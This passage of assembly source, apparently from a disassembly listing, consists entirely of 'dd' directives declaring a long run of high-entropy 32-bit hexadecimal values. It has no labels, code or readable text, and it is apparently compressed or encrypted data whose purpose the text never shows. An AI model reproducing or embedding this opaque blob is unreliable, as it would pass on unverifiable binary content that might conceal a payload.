		dd 8D35E0FFh, 556C0089h, 8EB99FEDh, 72006879h, 5CC72501h
		dd 123DD163h, 795B12Eh,	664C5218h, 5163F003h, 0F8E6BEF9h
		dd 248AC716h, 0BE2C8B78h, 504D5800h, 2BD7304h, 0FAFC0800h
		dd 9209C846h, 8CF03DB3h, 5B1E3300h, 0D50F4730h,	0DBB54505h
		dd 0F1C1F5EBh, 0E451ABA4h, 0D1E41B3Dh, 0BF120043h, 0F92F0FC5h
		dd 7E50A953h, 100CF94h,	0C207E3F4h, 7A2EB4Fh, 6E3CE7A7h
		dd 5B4A15Ah, 0A0B0FBC8h, 4189E0Eh, 1510C5A6h, 8487509Ah
		dd 0CE7039h, 0B58D3738h, 99162555h, 95BF1A00h, 3B52D2E6h
		dd 0C64500CAh, 549BD5D7h, 8C40EC2Eh, 3C4D1B63h,	46F3A840h
		dd 0CC9B25B0h, 0E4B0BD51h, 0E4F2B6ADh, 0FC129100h, 3F72BE13h
		dd 0CB8134D1h, 7709C1C1h, 0E85E052h, 649EFF0Eh,	9A61239Ch
		dd 5C10D04Ah, 358116CFh, 3AF60058h, 7287557Dh, 92603E04h
		dd 24805E8Dh, 784F35h, 52EEF466h, 4BC28033h, 0FADD573Dh
		dd 7E925005h, 0B680977Ch, 1CB5688h, 9F1412D0h, 0E8390BCCh
		dd 66008483h, 0D3DDC6F8h, 303B753Fh, 7B788DAFh,	134C3EA8h
		dd 29500035h, 65E97A9Ch, 5EA330DAh, 5C612A30h, 4FDF3Bh
		dd 0A911ACB1h, 0C294AB3h, 0EE44677Dh, 0AF032D48h, 31A540F6h
		dd 41F5B87Ah, 162E01DCh, 3C73525Bh, 6A36E42Ch, 0D4811727h
		dd 0E64500AAh, 0D518E4EAh, 641EBD00h, 924BAF5Fh, 658B0046h
		dd 9E5B4F5h, 0A1C51DBh,	0E1C0DD74h, 3AA3D3A8h, 85363804h
		dd 1916450Eh, 10DB9500h, 2FA2371h, 1710FE60h, 0BCEAE63h
		dd 0AFFCF3A4h, 85BACA00h, 45002668h, 0D5666223h, 4D5908h
		dd 0FF53C82Bh, 139E56BBh, 7AC1B205h, 13C011C4h,	77C628E0h
		dd 0CA9A7A61h, 5C045310h, 4D73F1Fh, 8ABD00FEh, 0C7FDDE77h
		dd 15190048h, 0BC2D9137h, 551D69B6h, 0ECC194F6h, 8CB1A1ACh
		dd 72642880h, 54FA3723h, 8077BE3Ah, 86B81E26h, 78C1ABA7h
		dd 7998E7h, 82464E8Dh, 37BEB413h, 0C36AE01h, 255EC2B0h
		dd 90325620h, 0D11601D5h, 0F7F0512Ah, 8D451Ch, 76E6611Eh
		dd 0CF1C2127h, 328A8D65h, 170081B1h, 58426493h,	14FF276h
		dd 0B2C6EB88h, 7029F0FAh, 0E00A7ACh, 42CC1E02h,	481F84h
		dd 86C2AB61h, 0B603CAA1h, 1A76F500h, 0F870E5C9h, 269000E9h
		dd 5973CB27h, 0C300AE49h, 0B1FC147Ch, 748F256h,	0AC314D57h
		dd 4865021h, 3F008526h,	152E249Bh, 9A5201h, 2166E22Bh
		dd 57454FD1h, 8EF6183Ch, 2398A1D7h, 0E9021150h,	0B08081E4h
		dd 0A9DB80Ch, 62003B0Bh, 88E87D09h, 1B5874Eh, 0D26A1BB7h
		dd 70E06D56h, 351DFC54h, 0EFC0C3B4h, 7CE5F43Dh,	5445005Eh
		dd 0D919A56Eh, 7D00B8A2h, 152F32EAh, 2A4686Ch, 0EDA8CE5Ch
		dd 9AC02B0Fh, 23000CD1h, 96EEC4B8h, 0F548934Bh,	0CCDF87D1h
		dd 717862ECh, 0C9840F89h, 0C120120Dh, 0AEF529A6h, 6658D0FFh
		dd 5A0762F0h, 0BCB7CE27h, 9E2CAD80h, 554E3871h,	1E433580h
		dd 89366C48h, 21F1B700h, 0E4202A27h, 12320076h,	173BB405h
		dd 230046A1h, 95D202EAh, 7B86AF77h, 782F00DEh, 0A04EE95Eh
		dd 0F70325C1h, 1CA56AA2h, 5D7DE811h, 0D7100D6h,	0A79FC9B5h
		dd 0A43CC302h, 4D118032h, 81C27D8Ch, 0A33500ADh, 582AA7FFh
		dd 531EE2DDh, 0EA0007F8h, 5DA1F7AEh, 43453C2Bh,	0A300DE3Ch
		dd 9AADC233h, 98009C28h, 49FFFEC9h, 500CA8h, 0A4C5D458h
		dd 85AB09F2h, 0E11F1126h, 2956803Dh, 0C8EFAA70h, 0A00400D8h
		dd 2E5FC244h, 24008122h, 0B9FE1C0Ah, 3B1BD08Bh,	0DC00CC4Bh
		dd 1108B63Ch, 0F2009D91h, 5CF50238h, 43E7E3h, 0EC14180Eh
		dd 0A64CE01h, 3400FA98h, 38F91CA8h, 142FFCDh, 17D07EC8h
		dd 0E4F18202h, 0F090E7D5h, 0A6750CB0h, 6397DB00h, 0AA6D5C7Fh
		dd 0F638791Bh, 7867FA1Ch, 39EA0030h, 24B9BD84h,	0E50F72E7h
		dd 0D37505h, 8F5B2179h,	8D7739BCh, 366D7E80h, 0BD50FDF8h
		dd 8BD75400h, 87C9FEB1h, 42D03A7h, 26F0C698h, 0E1679800h
		dd 8E7659FCh, 577D00C1h, 5C9BA5D5h, 9713F140h, 3C00060Ah
		dd 64A86237h, 0B1D50389h, 31EB6646h, 0EC5B69C1h, 8D00C774h
		dd 0C00CB705h, 1BDEF29h, 54C54739h, 87F028C8h, 0E757D314h
		dd 0C5052F05h, 0B5009E08h, 0AEF9C5E0h, 6F0200AAh, 94888FDEh
		dd 5315C42Ch, 1D9058D5h, 24408D31h, 0A0059B9Ch,	7D5B00F1h
		dd 36BDB475h, 0C00A159h, 0AFDCF8D6h, 0BA078Fh, 0A86C7461h
		dd 2FB29C50h, 46CCF300h, 0EFCBF1B1h, 88EB0051h,	0E159D3Bh
		dd 0A101C5E5h, 525C9227h, 9ED1D13Dh, 501F1080h,	0F9D41DFBh
		dd 13729300h, 0E61756C0h, 38294C5Ch, 1AFE5A00h,	0CB7C5E60h
		dd 0A7ED4500h, 449E12A6h, 64DC48A9h, 3132CC0Eh,	6C763600h
		dd 780F30D2h, 75276Bh, 7B9447AEh, 0CD611E25h, 4B8A8098h
		dd 9C8867B6h, 355B83Ch,	2B8E7730h, 495E8879h, 0CA233924h
		dd 0E8267001h, 0CC4A2545h, 0D3011F37h, 0B83BB5A9h, 40CE56B6h
		dd 50E7D4E0h, 7D7449h, 9AB4BD83h, 0BEC8219Ch, 80F88900h
		dd 1D11E456h, 0F5B832h,	16877E1Bh, 45A908DAh, 0D5CC2E00h
		dd 7F28297Ch, 0FF9ECE1h, 89DDD266h, 0E295AA21h,	0E07DDC5Dh
		dd 6BF7000h, 9CCB16F2h,	444502DBh, 48354C80h, 1C55A8C0h
		dd 581EE207h, 18A06098h, 38F31B81h, 2284E49Ch, 83DA0FF9h
		dd 79D80190h, 4300E595h, 8DD8D9B4h, 1E262FE4h, 40935BD3h
		dd 366A497Dh, 44004D61h, 0FE700D8Ah, 9F4E7B0h, 8FF5DF2Ah
		dd 5E2D3480h, 0B3E8D499h, 0D37DA000h, 8426A597h, 4C8503DAh
		dd 9B41240Fh, 25A9FC88h, 7F4D6000h, 45A29051h, 0A8010080h
		dd 5472360Ah, 43000D31h, 0FD74ABADh, 0BF6563h, 0ED97DBAh
		dd 8141E56Eh, 85EF2001h, 13DC5A17h, 19D6FCh, 723B9B3Ah
		dd 705BC15Ch, 0DB3CC61Dh, 4536E70Eh, 0A834519h,	74818D3Fh
		dd 54FC5DE0h, 0E2FED3h,	697C3506h, 0F93D7996h, 0D2D2300h
		dd 0A8D342C2h, 0B5D800AFh, 749F471h, 0DB008905h, 0F2DEC798h
		dd 71A9A10Dh, 0B92E01AEh, 38AA6F60h, 692C70E4h,	0E304D500h
		dd 80B9219h, 0DA953FC1h, 45F9C917h, 806AA040h, 0A8F5E540h
		dd 2501F000h, 56BDF150h, 0EF7CA9h, 69387467h, 0F9FA8CDh
		dd 0BF5A7C0Bh, 0B54881D1h, 0F930DF7Bh, 0C6700EBh, 8056AC1h
		dd 0E63D58E1h, 7C063BAFh, 7E6F930Bh, 5478A4B6h,	0F07930C0h
		dd 7C3800F3h, 4DB10BBh,	9906CB2Bh, 0F209D43Bh, 462C00A1h
		dd 6DE5F677h, 1500A90Fh, 0FD9156E2h, 3C53D01h, 1F1E4434h
		dd 0FAC8E327h, 0E600DF8Bh, 160C5CE5h, 3AC0940h,	83240EC8h
		dd 0A2907CCDh, 3600E39Dh, 6BED7DFAh, 76E8D67h, 571476AFh
		dd 0D4E8407Eh, 0B9000A4Ch, 0D13EBC8h, 3A7CBEh, 2731F636h
		dd 1BF0D1BCh, 0A6A9D800h, 0ACE96EDDh, 3DFE7338h, 0A804281h
		dd 28D91C8h, 0F5001470h, 3DA20F5Bh, 404C08h, 0E8C2243Eh
		dd 1DAA4BECh, 0DE900103h, 0B0C4AE2Dh, 0EDE6FEh,	76B9EF4h
		dd 0A865CCBDh, 0B0B840FDh
		dd 7F14E920h, 90EBDBh, 83A84A4h, 770EB766h, 7C5A3A8Ch
		dd 20FFD018h, 0B200C4C7h, 0B0451C0Dh, 60E61Dh, 9D462A03h
		dd 35473BDFh, 0ED06090Fh, 4011681h, 0E0F1E73h, 85E52025h
		dd 88770h, 1C6CA321h, 0E10C454Dh, 30CF357Ah, 3F62A32Ah
		dd 3A8FD814h, 63580082h, 0F8CAD681h, 88049EEDh,	355CEA9h
		dd 51030014h, 0AC69D107h, 8CB31100h, 0BF7DADFEh, 0E95C2F7Eh
		dd 9430FF50h, 0F76820C5h, 0FBE600ABh, 0C2DA1159h, 383EBE96h
		dd 42809EF4h, 0D19B3640h, 561A86B1h, 0A70190D4h, 4F6607DCh
		dd 0C0370CA8h, 0B2BD8AE1h, 0F5282307h, 4F03C00Ah, 3F3A2F19h
		dd 0E299B8E8h, 0E090923Ch, 2DD000A3h, 0F9C1864Fh, 0FC746B7Fh
		dd 20B9A530h, 3DD30F41h, 4B812694h, 17A91403h, 752D42Eh
		dd 0C16F4F1Eh, 2B3710B0h, 4D541CD5h, 5F5C7A7h, 0C5C8C03Ah
		dd 3600DB5Fh, 0F8C1981Dh, 8A4A8Dh, 12FF8B4Fh, 0A7881BEAh
		dd 5ACA8400h, 222B74EBh, 0AF0B005Fh, 7ACDB507h,	0F47886AAh
		dd 0F2BE6100h, 334CC941h, 7EF100B3h, 2C847DF6h,	5700024Fh
		dd 65EE60D8h, 0F645121h, 0BAF26F23h, 56450F20h,	8E134076h
		dd 9903204Ch, 0F0B637F1h, 301AF0C5h, 0AB1948B7h, 2404BD14h
		dd 0DE477331h, 0DDB24320h, 33E1990h, 79820322h,	0F9EC966Bh
		dd 53608558h, 997B03D7h, 0F2416B2h, 0D3F09AABh,	600092CFh
		dd 0D44ACE6Bh, 0FC54DDh, 2BD2550Dh, 1F516E3Eh, 7DABC901h
		dd 74944FF1h, 1FE24CC4h, 808A630Dh, 427E5CFFh, 0BAF80475h
		dd 1E39EF17h, 7CFF14h, 7D1249F6h, 18A1E276h, 104A2E88h
		dd 790046A6h, 1457D23Fh, 0AEEF82h, 8B9F1DBEh, 0BD8B5ADh
		dd 0F2BF4B00h, 0B45A3CF1h, 7B453874h, 16A8C700h, 96706222h
		dd 9C4FD618h, 802008h, 0CC094CA2h, 9E3BD98Bh, 0B80C0B00h
		dd 919897C2h, 133D3BF1h, 0EEB8FEh, 30456967h, 0A76E50E8h
		dd 8E04F907h, 0D4F0DC83h, 3509EDh, 0F43E34BAh, 43FEA570h
		dd 0D5F114B8h, 497F2A7h, 5A48CD61h, 12D26083h, 6AE856ECh
		dd 0A1003108h, 0D4A4470Ah, 6721C4h, 0B3A04F5h, 0CBDC5D74h
		dd 0A698830Bh, 316A807Ch, 0FA0965F7h, 6E45009Fh, 13C39B54h
		dd 0C03F830Eh, 912A8099h, 144A6AA4h, 627F0E98h,	7760511Dh
		dd 2DE4BFB2h, 0B99F431Dh, 0F8D25C87h, 0C294AE60h, 1C4DE68Bh
		dd 9DD761h, 0D0F2E56Ch,	2C1CAC80h, 0A040EEDBh, 92E72E83h
		dd 0BFAD0E90h, 36A0CBE8h, 2C2F0D35h, 420094E6h,	508E4867h
		dd 0BF52B66h, 0D8EB62C0h, 57001C0Fh, 8EBF1255h,	0CE707E00h
		dd 79B9CAC6h, 26EC0E82h, 1021194Bh, 0E8B220A6h,	1438F411h
		dd 98FA0F0Bh, 9000176Dh, 3CA4B707h, 692A0E44h, 0FDC0B319h
		dd 8478C36Fh, 0CE562201h, 0E0A043E1h, 34961D8h,	9E2381B1h
		dd 0EBC37B08h, 26B359C8h, 45A1A41Ch, 0EE4D2DC1h, 74C44ECFh
		dd 0DF9E007Dh, 0C619814Ch, 0EC001D95h, 6993133Ah, 7D0377Fh
		dd 0B1F4BF99h, 0D3155239h, 7B9DAD40h, 0A6DE7D02h, 8048AF7Eh
		dd 0BC6286F4h, 0DAB800C8h, 0CBB4AD97h, 0F9068267h, 72F493EFh
		dd 90E00511h, 0C033DE7Eh, 49FC3779h, 61A7402h, 841EACC1h
		dd 249191D5h, 1CFCCB85h, 38E0906Ch, 28006623h, 0A78BBA7Bh
		dd 95005CB2h, 0B001E8E3h, 0BDFFFh, 0CF2E9EFBh, 30408159h
		dd 0C6E7DD00h, 6D774F42h, 488E005Bh, 0C93E1435h, 49FEFF20h
		dd 244EDF00h, 0AECD950Ch, 0A3C33A32h, 3503A600h, 0E6292ACh
		dd 0FB12B61Fh, 9D4FC000h, 0D0C783h, 0B823D1Eh, 966F2D59h
		dd 28D79C01h, 8A703875h, 10CA3E0h, 0AFB4E9F1h, 0F0DC616Dh
		dd 73272D45h, 9B976020h, 0AD7C0040h, 117AFBFDh,	1EEEC5AFh
		dd 0C80E200h, 7D352515h, 0DD660730h, 30A6C4ECh,	918BDF5Eh
		dd 0B868B914h, 7040094h, 0E55D4FAh, 1EA20051h, 390845B3h
		dd 1328A4D5h, 2007DD2Eh, 0FA19A733h, 0AAC05137h, 6BB35Bh
		dd 0C2ABFF18h, 0CCDFE267h, 0F2D8EC01h, 0FC708D6Fh, 3E9962DCh
		dd 0E081C306h, 808AF08Bh, 2CB7C89Eh, 0F3F61300h, 4E0FB11Dh
		dd 51963F3Ah, 61A6DA02h, 0C403CAAh, 0B5798A13h,	66AE9000h
		dd 4D0AA340h, 0D88F0FC2h, 0ADA00BE8h, 35A2E4B9h, 0FF849500h
		dd 62BFDBFBh, 0D14600C3h, 0F6053EA6h, 0E0005728h, 0A1B29842h
		dd 1DD873DBh, 0EFB091h,	9A43CE3Bh, 90F6C5DCh, 644AFC00h
		dd 0F9EAA7E6h, 3C25004Ch, 0B5C8CFCAh, 8A017C22h, 0EF9E6753h
		dd 0BBECB88Eh, 41EB1331h, 2339063Eh, 9B00A012h,	0F4ACA5A6h
		dd 0A210B4h, 0A79C1F65h, 94222FD4h, 864D3400h, 0F4A8DC79h
		dd 6A530029h, 78084F01h, 341DD589h, 41035EE8h, 0C803EF02h
		dd 38596657h, 0A601BC28h, 6F1EA5D2h, 9017C0B6h,	0CB1D1301h
		dd 0B4823478h, 122F8BE4h, 7099B5h, 9CB3F272h, 0C5002932h
		dd 0F40FF16h, 0F7F4EAh,	19D16D2Ch, 0ADD52003h, 5001C500h
		dd 829C29BCh, 8BCC58A7h, 48782700h, 98DC7CE5h, 33EAE400h
		dd 0BAED161Eh, 27C000AAh, 3AC9E83Eh, 2C9090C4h,	97E44Ch
		dd 84DBF6D9h, 401B00Eh,	0EC2205F0h, 4487EED0h, 201E6390h
		dd 55DD00A3h, 2FBB7E29h, 1600EE17h, 0B9980D77h,	0E56CC3AAh
		dd 0F9D045EDh, 6392007Eh, 72B6A191h, 0DC00D270h, 0A7B214F2h
		dd 97CB55h, 51BEF407h, 76243EFCh, 0AB55400h, 39F93109h
		dd 40F4FEh, 0EB923FEAh,	0AC0157F3h, 5D45DB00h, 565F6C41h
		dd 0DC490564h, 0AC168073h, 5A4D000Fh, 0E390176h, 0B9B8ABh
		dd 0F0AEDA45h, 7B5FB85Bh, 5AEF510Bh, 43D8004Ah,	0C62F58h
		dd 0CE06F84Ch, 54C370B1h, 0DCBD600h, 9BD30E3h, 3781027Ch
		dd 288BF773h, 8C346EC0h, 0F39CF90Fh, 0E29884EEh, 0D7505081h
		dd 0A073DD4h, 0BD6CEC54h, 0EA3002A4h, 24409561h, 171EBE7Bh
		dd 11C0ED25h, 0A823ECDEh, 971D009Eh, 0ABFDDC57h, 1830F781h
		dd 0B293A0D6h, 0C7B1D5Bh, 0F260078Eh, 0CB41632Bh, 2192ABE0h
		dd 0A6008076h, 4759EB28h, 774BC56h, 13364322h, 6C3C709Ah
		dd 99005B66h, 0ECC1348Bh, 3BE6E04h, 8617286Fh, 56809BB5h
		dd 5300A07Dh, 2B807069h, 147816h, 1FBE071h, 44F9F437h
		dd 0AD2F5B00h, 73FD81CBh, 68961DD1h, 200FBE9Ah,	0D9A0D8FCh
		dd 859E6566h, 89F16E02h, 0E0F42412h, 0E2A3A29Fh, 8B213DEBh
		dd 0BD0DE00h, 5383D297h, 0D803D1F2h, 47ED0EF0h,	0BFC180F8h
		dd 134300A3h, 0DEB54B78h, 68006B42h, 16E5DA5h, 0E2FC15h
		dd 518E6D30h, 5FA94CE1h, 4247F900h, 0A65B224Dh,	20E2C1h
		dd 0DCBBBD43h, 53B80B0Dh, 0ACF4E500h, 1385E18Fh, 0C2E01Fh
		dd 775A2D43h, 33025994h, 7ECABB0Eh, 0F7E3A7CCh,	0EE1CCB80h
		dd 0D171009Dh, 0C24C9942h, 0A43F4A7Dh, 74568031h, 27BDC628h
		dd 8F361F15h, 0E4FE6D1h, 0E307A3A0h, 16D2F09Ch,	8E0F0D86h
		dd 0A56723h, 8FB52891h,	6A3A0024h, 75E13BB6h, 5F7EC745h
		dd 48D26400h, 340CA052h, 0F142007Fh, 2D38A199h,	0F5E2A446h
		dd 0AF889A00h, 42495664h, 0CDDA00CCh, 0DDFD8472h, 613C571Ah
		dd 92FE00A7h, 9E8745A9h, 6B2B00ECh, 9699B665h, 0B0DD9874h
		dd 0AAFCBE80h, 4AEEA2h,	4BDF53CFh, 789CB808h, 6454BD00h
		dd 96DB27DAh, 99610039h, 295715C0h, 6200E83Fh, 6682B088h
		dd 1DE050D4h, 8027DFEDh, 1954DA80h, 0D80C2655h,	9931361Ah
		dd 2279829h, 0AB95E30Bh, 2C968A7Eh, 0CB6C4D00h,	0A12E1F8Ch
		dd 204B5035h, 5FC201D1h, 424E28D4h, 8655E03Fh, 701BB20Ch
		dd 7CA2056h, 0DC1F53FEh, 9F808C6Ah, 1E7D9658h, 5002B02h
		dd 99828806h, 19551D4Dh
		dd 4796C6D2h, 0D81E40A2h, 744009DFh, 713C1497h,	0DBED09B5h
		dd 0F589BADEh, 994DB08h, 5E01C184h, 0D08856D7h,	0E101EAF8h
		dd 5DF5CC30h, 8E4043EFh, 7812A6Eh, 2D3BA046h, 805F77E9h
		dd 0DBB592D5h, 0EEA67C00h, 2B0A75D3h, 0CFE83F9Eh, 0B40D2203h
		dd 0BC909681h, 0EF00AC15h, 106A510h, 5C4CE0F3h,	640E34E7h
		dd 6F63D75Fh, 31F81405h, 8500F208h, 609A8F42h, 5F490AFh
		dd 0F7C14083h, 2AA001E7h, 0D0D4EB70h, 0FF00BDE8h, 13CEF51Fh
		dd 0E073B56Fh, 524C0633h, 30213998h, 0D700EF7Dh, 20923112h
		dd 66EC50h, 6DF4C6E1h, 8609EA4h, 0FF011E73h, 0C3D06FF5h
		dd 0E83015CDh, 7F4014E2h, 380ECC1h, 5B04894h, 0A8595000h
		dd 0EAFA3616h, 925479A0h, 0C9F8E114h, 747100F3h, 0D05A467Bh
		dd 0B400AA98h, 0FD68F988h, 0A8B28BB9h, 7B0A3D4h, 23500913h
		dd 0A783E793h, 36FCD025h, 1901D3EFh, 5D0E9235h,	45C86FCAh
		dd 0D72E0061h, 412968B6h, 4A3AABC2h, 0B9CC01CBh, 17D03655h
		dd 0EC641CFCh, 154800FDh, 0E0763004h, 88A0E892h, 0B2004D0Dh
		dd 778ABC8Dh, 339FD9h, 7D7684ADh, 0A97E8F93h, 0AC980F0Fh
		dd 0F7E978h, 12D5D38h, 9E57307Bh, 3FAD8926h, 1340F0DEh
		dd 0B8A6CC37h, 6CAF3F09h, 8D6AD687h, 60235391h,	8CD4B9h
		dd 634627DBh, 0FD493855h, 84BC45D0h, 6AB0B150h,	0D31D6B01h
		dd 0CEE43731h, 79810D8h, 9A4719FBh, 8F35500Eh, 0DE00C3BAh
		dd 7822921Fh, 3D41CC74h, 96800F1Bh, 0B22A345Ch,	9224F6BAh
		dd 1A00841Ch, 5B36D6F3h, 40450062h, 436DAAABh, 960082A1h
		dd 0A85833E5h, 3C12BCh,	0E47998CEh, 68CC02F0h, 0E69D5606h
		dd 1C2853F3h, 4063900Bh, 0B8BD8FA6h, 9275CD71h,	27BE2E07h
		dd 2531E36Bh, 3F05AA9h,	8430F973h, 29F7037Ch, 0BF3659E1h
		dd 5A13480Eh, 2C0F209Ah, 0ECC99h, 4260D21Ah, 68D39E39h
		dd 4EDF8C00h, 0A83A2912h, 60847C58h, 9FF29DBh, 945B54ECh
		dd 60A25B0h, 0A1396761h, 783961A2h, 5C950091h, 86E92307h
		dd 984E03D6h, 769B7309h, 9DBACD90h, 75A1C8F3h, 38549F30h
		dd 71BA33Ch, 0E2B9D0F5h, 0ED445323h, 36B824ABh,	9B005A45h
		dd 857E46A1h, 769D9Ch, 0E4F0CB4h, 383CFF49h, 0EA00D476h
		dd 1ABD47E5h, 1343BA02h, 1E6CD5Fh, 8DCEC73Ah, 0C337DD81h
		dd 0C4E865B0h, 0A8005C79h, 7191A9B1h, 70F0E5F5h, 0FC70232h
		dd 0C892098Fh, 3510209Ch, 99C16871h, 0E018A07Eh, 9B7B25BDh
		dd 8CFD2F00h, 21C50320h, 53C20137h, 95C78BB5h, 0CE688306h
		dd 908DAF7Dh, 0CCA89Bh,	0B82A0C92h, 0F647D525h,	4D9A4000h
		dd 9D604F0Fh, 282B021Ch, 0B5DED71h, 0CB7AD981h,	0A3088747h
		dd 6FE38522h, 0E0788226h, 88B356h, 7479F649h, 0D5BBFF81h
		dd 4B3BA37Ch, 65EB806Dh, 1D12429Dh, 170E0680h, 50C5A2D1h
		dd 94189B07h, 450BEEBh,	0C031FD92h, 3687A2B0h, 7D06F55Dh
		dd 0E5E4ECC9h, 99A13FB8h, 148C3903h, 0C81B3FEh,	0C8805CBCh
		dd 0BED37D08h, 0C598D8A8h, 0D50082FEh, 67599D6Dh, 0A7BFE27h
		dd 1D2C3848h, 0DE2883F0h, 0D5F8906Eh, 5200FB33h, 5B655D85h
		dd 799179Ah, 42F2DD13h,	30ABB72Ch, 95D3800Eh, 0D93F7302h
		dd 60941BF1h, 9D6135h, 0CD83C02Eh, 8951560Eh, 20A13E29h
		dd 0DB4C66C1h, 360ED90Ch, 602A9C76h, 0DFA7FB10h, 0ED070AECh
		dd 87D0056Ah, 0D0A2F566h, 3F86CED5h, 0BD59CC1Dh, 0BE263BC5h
		dd 0FDB8C803h, 0E84F905Ch, 0A21D01F7h, 0EA1E62A0h, 0FE16E458h
		dd 714BDA03h, 0F8A915DDh, 5499093Ch, 305FCA5h, 30F8A602h
		dd 7A06D55h, 4F0BBAE6h,	56709FB0h, 0D2800CB5h, 9A0939D0h
		dd 56155B52h, 3140300Eh, 0C50955B2h, 339D6Ah, 5C5DA724h
		dd 90300170h, 275B7EBh,	50E8D721h, 0C2B020E7h, 470E8177h
		dd 94EE5DC6h, 80C33824h, 43F4B22h, 0A2EB64h, 9E5CFA8Dh
		dd 7249954h, 0E4F8347Ah, 0A9120800h, 164450ABh,	980B0E52h
		dd 8D40AD46h, 8C2155A7h, 11FA3100h, 974A3AA2h, 0B2122415h
		dd 1C830F2h, 7A30A1EFh,	1B9E38AAh, 77F1078Eh, 0C0E17058h
		dd 0ACCDED3Dh, 24C69300h, 0E3557C41h, 8BB1265h,	0C3A000A7h
		dd 7BF3DDA3h, 91A12100h, 0E6C9478Fh, 84DE1FE0h,	2A9BC06Fh
		dd 0F690A61Ah, 30D73400h, 0CD6C4938h, 157D9Dh, 5D0C451Bh
		dd 241D53E9h, 81E3751Dh, 19563600h, 3E86052h, 5C43D73Bh
		dd 1903396Ch, 77E9427Dh, 3BC9A061h, 0FABA00C6h,	863E2FBDh
		dd 4A038D1Ah, 3DF56993h, 0B0BCD045h, 0C07CF616h, 3CF06530h
		dd 9B000CB5h, 4480D593h, 269D68BAh, 0EAACB3h, 37D99E78h
		dd 0F73053A2h, 8307D976h, 0AC994CDEh, 0F20E1700h, 7BA4AC36h
		dd 0F91D5807h, 0FEF0AE4Dh, 1202A5h, 59E470Dh, 0BEFDC776h
		dd 0C1301C77h, 20CB4EE5h, 0B0374C8Eh, 0E46316h,	500458B2h
		dd 2B0FD154h, 0EE2F310Fh, 270E40CBh, 7B9D5DCh, 40321E85h
		dd 4F9A033h, 420163EAh,	0AE2B1FCCh, 52E0230Ch, 908EF064h
		dd 0D5F01DCAh, 60F34120h, 80B408F7h, 19F9C54Ah,	3BEF4h
		dd 0F61CFE4h, 1E5F4F2Ah, 0A83E0828h, 0FC4CFD00h, 0AE6C6DC6h
		dd 0E1620091h, 1F3F071Bh, 76268781h, 7C03AD35h,	0E950A9h
		dd 5F101C88h, 0A581A2Fh, 0FC312603h, 80F9BDB5h,	281EE827h
		dd 3C07ED5h, 770B3DC8h,	3BB34F6Ah, 0ABD407E0h, 43D0B718h
		dd 2FD680h, 0AD2DAF96h,	0CA19BBF9h, 6F394904h, 880E552h
		dd 83378Dh, 41355FB1h, 0FF9880F4h, 6B49BE00h, 0A6BDE491h
		dd 2200024h, 0B6530E77h, 0BE1C9D6Ch, 57010725h,	5408A483h
		dd 0E72102C7h, 16306EC1h, 0CE6B240h, 0E4649600h, 0A70D2B28h
		dd 3493005Bh, 46D5C28Dh, 0E6007567h, 1C823D39h,	0FDF71h
		dd 0E7A7162Dh, 0F17E989Fh, 533AB81Eh, 0DF54DE80h, 32431F4h
		dd 0AA6C78E3h, 8BF9195Eh, 0F320806Eh, 751FEE14h, 99FD286Fh
		dd 12C300FFh, 0DD87F694h, 81C0E93Ah, 0D64EBB53h, 2D6403C7h
		dd 18849AE5h, 12B637D0h, 32B29600h, 13FD33DBh, 14B97CB3h
		dd 209D78F7h, 0DFF93F0Fh, 2D9F5340h, 1E0A445h, 0C0DE4130h
		dd 0A4288A54h, 0F4ED025Ch, 3C132463h, 0B92264E3h, 82791C77h
		dd 0C48D00F4h, 0E1F95A23h, 0FB2A48h, 0A6FCBF8Bh, 3ED5FDB7h
		dd 0B1B0473Fh, 64695990h, 17122900h, 3CEDA463h,	0AE6F001Ah
		dd 0A0F18CFEh, 107631C8h, 56339A00h, 0D3F66B61h, 6CE20030h
		dd 39362262h, 0D00307B0h, 9BC1BFF7h, 690890CEh,	0A4FD00ACh
		dd 0F4A1BD0Eh, 3103BB91h, 8BA79E54h, 0FCD78806h, 0C6380076h
		dd 7AEEDD5Eh, 6E0001CDh, 0DC2F8580h, 3D82FE9Eh,	32804319h
		dd 410A4F28h, 9307C92Dh, 74A215DEh, 0A870B890h,	913B0079h
		dd 277CC8EFh, 8A01AF4Bh, 73516825h, 86DC95E3h, 0C16B1F15h
		dd 494601A3h, 0FC5A922Ch, 810038E7h, 14A5805h, 0C0267923h
		dd 86FDA420h, 0E810D389h, 0E50CDB22h, 1B598516h, 8AC69600h
		dd 75361F30h, 41F8A0h, 892EF40Ch, 77E44C43h, 9F0088FCh
		dd 0A3908AC9h, 3DC2893h, 164D27FEh, 7CE0AC9Ch, 1C266CAEh
		dd 700FEEAh, 1A655AF5h,	0C31D5C88h, 0E580C207h,	0B59D6087h
		dd 8409BF27h, 204339h, 0AC7C794Eh, 3DA1C38h, 0DB4FC0F4h
		dd 0FA7BB4EAh, 62EF2800h, 0FC367216h, 24303F91h, 53517680h
		dd 7B5FE9CFh, 40222907h, 0DF84A1h, 90DF6D86h, 0F657008Dh
		dd 0B062B658h, 0C1ECE8ADh, 43D37300h, 0E4523189h, 0C0C707FCh
		dd 1A4C4227h, 0CB5D00C6h, 99E60C30h, 0D5983Bh, 99B38DDh
		dd 0E242C778h, 292C00F2h
		dd 0EE11C1FCh, 1900D75Bh, 0ABC83773h, 751EB8h, 0EB586C17h
		dd 0BEC93BDBh, 0CA70F502h, 612C4A8Eh, 0D0E329EBh, 37ECC5D5h
		dd 5020C6F9h, 9F8EB18Bh, 0E9181300h, 0FDE3DD31h, 30E5003Dh
		dd 1DBC97CBh, 0DA18B6E7h, 1870769Bh, 29583492h,	6CE18058h
		dd 0C3003F6Bh, 73013630h, 0EFDC16h, 85643991h, 0E08F70B9h
		dd 2674AC00h, 0ED66E97Fh, 8D2D0042h, 0BEAFFCD3h, 960013E3h
		dd 0B6A0B499h, 0A4D94110h, 1300418h, 60851E33h,	0ACD94379h
		dd 0FB5582Ch, 314022Ah,	0BB03FAD9h, 9150A50h, 8330C2B8h
		dd 0BAFA73h, 0C4941E39h, 245D79B9h, 65B72A1Dh, 0A1648A14h
		dd 1C4CBDCDh, 5A090319h, 0A12CCA29h, 0E0DB0815h, 69C38138h
		dd 0F90CFCD3h, 30E2D02Bh, 0E3C77508h, 12A85159h, 6105F36Ah
		dd 8C2690B6h, 0E3039C68h, 393490DAh, 401F6834h,	8A682384h
		dd 4218EE94h, 0F882DA99h, 64B868EAh, 85431D63h,	9EEA0C00h
		dd 215BE1D4h, 0E5645C07h, 0D760FB6Fh, 95BEA4h, 677899EDh
		dd 0C10572Fh, 92874A1Fh, 0D931FB40h, 5423BECh, 0F1C17106h
